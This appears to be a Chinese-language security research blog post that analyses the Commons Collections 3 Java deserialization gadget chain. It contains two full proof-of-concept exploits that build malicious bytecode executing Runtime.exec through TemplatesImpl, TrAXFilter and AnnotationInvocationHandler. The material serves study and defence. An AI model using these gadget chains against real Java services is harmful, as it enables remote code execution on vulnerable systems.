0x01 前言

CC3链相当于CC1和CC2的综合,CC3链采用CC1链AnnotationInvocationHandler#readObject方法作为入口,Map(Proxy).entrySet——>AnnotationInvocationHandler#invoke——>LazyMap#get——>ChainedTransformer#transform。通过CC2的加载有恶意类字节码TemplatesImpl#newTransformer方法执行命令。CC3链使用InstantiateTransformerTrAXFilter类作为桥梁。
因为采用AnnotationInvocationHandler#readObject作为入口点,所以只适用于jdk8u71之前版本。

  1. <dependency>
  2. <groupId>org.javassist</groupId>
  3. <artifactId>javassist</artifactId>
  4. <version>3.25.0-GA</version>
  5. </dependency>
  6. <dependency>
  7. <groupId>commons-collections</groupId>
  8. <artifactId>commons-collections</artifactId>
  9. <version>3.2.1</version>
  10. </dependency>

0x02 相关知识

TrAXFilter

TrAXFilter类属于com.sun.org.apache.xalan.internal.xsltc.trax包,其构造方法如图,它会调用传入参数templates的newTransformer方法,因此我们只要能将TrAXFilter类实例化并传载有恶意类字节码的templates对象即可触发命令执行,也就不需要CC2中的invokerTransformer来执行该方法了。
image.png

InstantiateTransformer

InstantiateTransformer#transform方法会返回传入类对象的类实例,参数为InstantiateTransformer构造方法传入的参数,其构造方法和transform方法如图。联系刚提到的TrAXFilter类,通过InstantiateTransformer#transform对其进行实例化即可触发命令执行。
image.png

0x03 利用链分析

poc如下:

  1. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  2. import javassist.CannotCompileException;
  3. import javassist.ClassPool;
  4. import javassist.CtClass;
  5. import javassist.NotFoundException;
  6. import org.apache.commons.collections.Transformer;
  7. import org.apache.commons.collections.functors.ChainedTransformer;
  8. import org.apache.commons.collections.functors.ConstantTransformer;
  9. import org.apache.commons.collections.functors.InstantiateTransformer;
  10. import org.apache.commons.collections.map.LazyMap;
  11. import javax.xml.transform.Templates;
  12. import java.io.*;
  13. import java.lang.reflect.*;
  14. import java.util.HashMap;
  15. import java.util.Map;
  16. public class cc3 {
  17. public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {
  18. String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  19. String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  20. ClassPool classPool=ClassPool.getDefault();
  21. classPool.appendClassPath(AbstractTranslet);
  22. CtClass payload=classPool.makeClass("CommonsCollections3");
  23. payload.setSuperclass(classPool.get(AbstractTranslet));
  24. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
  25. byte[] bytes=payload.toBytecode();
  26. Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
  27. Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
  28. field.setAccessible(true);
  29. field.set(templatesImpl,new byte[][]{bytes});
  30. Field field1=templatesImpl.getClass().getDeclaredField("_name");
  31. field1.setAccessible(true);
  32. field1.set(templatesImpl,"test");
  33. Transformer[] transformers=new Transformer[]{
  34. new ConstantTransformer(TrAXFilter.class),
  35. new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
  36. };
  37. ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
  38. Map map=new HashMap();
  39. Map lazyMap= LazyMap.decorate(map,chainedTransformer);
  40. Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  41. Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
  42. constructor.setAccessible(true);
  43. InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
  44. Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
  45. Object object=constructor.newInstance(Override.class,map1);
  46. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
  47. outputStream.writeObject(object);
  48. outputStream.close();
  49. ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
  50. inputStream.readObject();
  51. }
  52. }

以下是代码说明:

TemplatesImpl装载恶意字节码

  1. ClassPool classPool=ClassPool.getDefault();
  2. classPool.appendClassPath(AbstractTranslet);
  3. CtClass payload=classPool.makeClass("CommonsCollections3");
  4. payload.setSuperclass(classPool.get(AbstractTranslet));
  5. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
  6. byte[] bytes=payload.toBytecode();
  7. Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
  8. Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
  9. field.setAccessible(true);
  10. field.set(templatesImpl,new byte[][]{bytes});
  11. Field field1=templatesImpl.getClass().getDeclaredField("_name");
  12. field1.setAccessible(true);
  13. field1.set(templatesImpl,"test");

这部分跟CC2完全一样,使用javasist生成一个恶意类并装载到TemplatesImpl的_bytecodes字段。

ChainedTransformer实现TrAXFilter实例生成

  1. Transformer[] transformers=new Transformer[]{
  2. new ConstantTransformer(TrAXFilter.class),
  3. new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
  4. };
  5. ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

这部分代码是CC3链与CC1和CC2都不存在的,可以说是CC3链的核心了,InstantiateTransformer#transform生成TrAXFilter实例进而触发TemplatesImpl#newTransformer方法。
这里要注意一点的是TrAXFilter类是不可以反序列化的,而TrAXFilter.class则为Class是可以反序列化的。

动态代理实现Map接口

  1. Map map=new HashMap();
  2. Map lazyMap= LazyMap.decorate(map,chainedTransformer);
  3. Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  4. Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
  5. constructor.setAccessible(true);
  6. InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
  7. Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);

这部分与CC1链一致,将AnnotationInvocationHandler作为动态代理的InvocationHandler对象,对Map接口进行动态代理,Map接口的所有方法都会调用AnnotationInvocationHandler#invoke方法,而该方法会调用其memberValues的get方法即LazyMap的get方法。

AnnotationInvocationHandler入口

  1. Object object=constructor.newInstance(Override.class,map1);

将map1作为AnnotationInvocationHandler的memberValues,在readObject方法里调用Map.entrySet触发命令执行。
利用链如下:

  1. AnnotationInvocationHandler.readObject
  2. (Proxy)Map.entrySet
  3. AnnotationInvocationHandler.invoke
  4. LazyMap.get
  5. ChainedTransformer.transform
  6. ConstantTransformer.transform
  7. InstantiateTransformer.transform
  8. TrAXFilter(构造方法)
  9. TemplatesImpl.newTransformer
  10. TemplatesImpl.getTransletInstance
  11. TemplatesImpl.defineTransletClasses
  12. (Evil)cc2.newInstance()
  13. Runtime.exec()

0x04 利用链调试

AnnotationInvocationHandler#readObject
image.png
AnnotationInvocationHandler#invoke
image.png
LazyMap#get
image.png
ChainedTransformer#transform
image.png
InstantiateTransformer#transform
image.png
TrAXFilter#Constructor
image.png
TemplatesImpl#newTransformer
image.png
TemplatesImpl#getTransletInstance
image.png
image.png
调试时刚进入readObject很乱,猜想应该是嵌套readObject加载的缘故。

0x05 总结

CC3链借用了CC1链的LazyMap#get触发,其实也可以使用p牛的CC链的TransformedMap#setValue触发,代码会更加简练,poc如下:

  1. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  2. import javassist.CannotCompileException;
  3. import javassist.ClassPool;
  4. import javassist.CtClass;
  5. import javassist.NotFoundException;
  6. import org.apache.commons.collections.Transformer;
  7. import org.apache.commons.collections.functors.ChainedTransformer;
  8. import org.apache.commons.collections.functors.ConstantTransformer;
  9. import org.apache.commons.collections.functors.InstantiateTransformer;
  10. import org.apache.commons.collections.map.LazyMap;
  11. import org.apache.commons.collections.map.TransformedMap;
  12. import javax.xml.transform.Templates;
  13. import java.io.*;
  14. import java.lang.annotation.Retention;
  15. import java.lang.reflect.*;
  16. import java.util.HashMap;
  17. import java.util.Map;
  18. public class cc31 {
  19. public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {
  20. String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  21. String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  22. ClassPool classPool=ClassPool.getDefault();
  23. classPool.appendClassPath(AbstractTranslet);
  24. CtClass payload=classPool.makeClass("CommonsCollections3");
  25. payload.setSuperclass(classPool.get(AbstractTranslet));
  26. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
  27. byte[] bytes=payload.toBytecode();
  28. Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
  29. Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
  30. field.setAccessible(true);
  31. field.set(templatesImpl,new byte[][]{bytes});
  32. Field field1=templatesImpl.getClass().getDeclaredField("_name");
  33. field1.setAccessible(true);
  34. field1.set(templatesImpl,"test");
  35. Transformer[] transformers=new Transformer[]{
  36. new ConstantTransformer(TrAXFilter.class),
  37. new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
  38. };
  39. ChainedTransformer transformedChain=new ChainedTransformer(transformers);
  40. Map map = new HashMap();
  41. map.put("value", "value");
  42. Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
  43. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  44. Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
  45. constructor.setAccessible(true);
  46. Object object = constructor.newInstance(Retention.class, transformedMap);
  47. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
  48. outputStream.writeObject(object);
  49. outputStream.close();
  50. ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
  51. inputStream.readObject();
  52. }
  53. }

image.png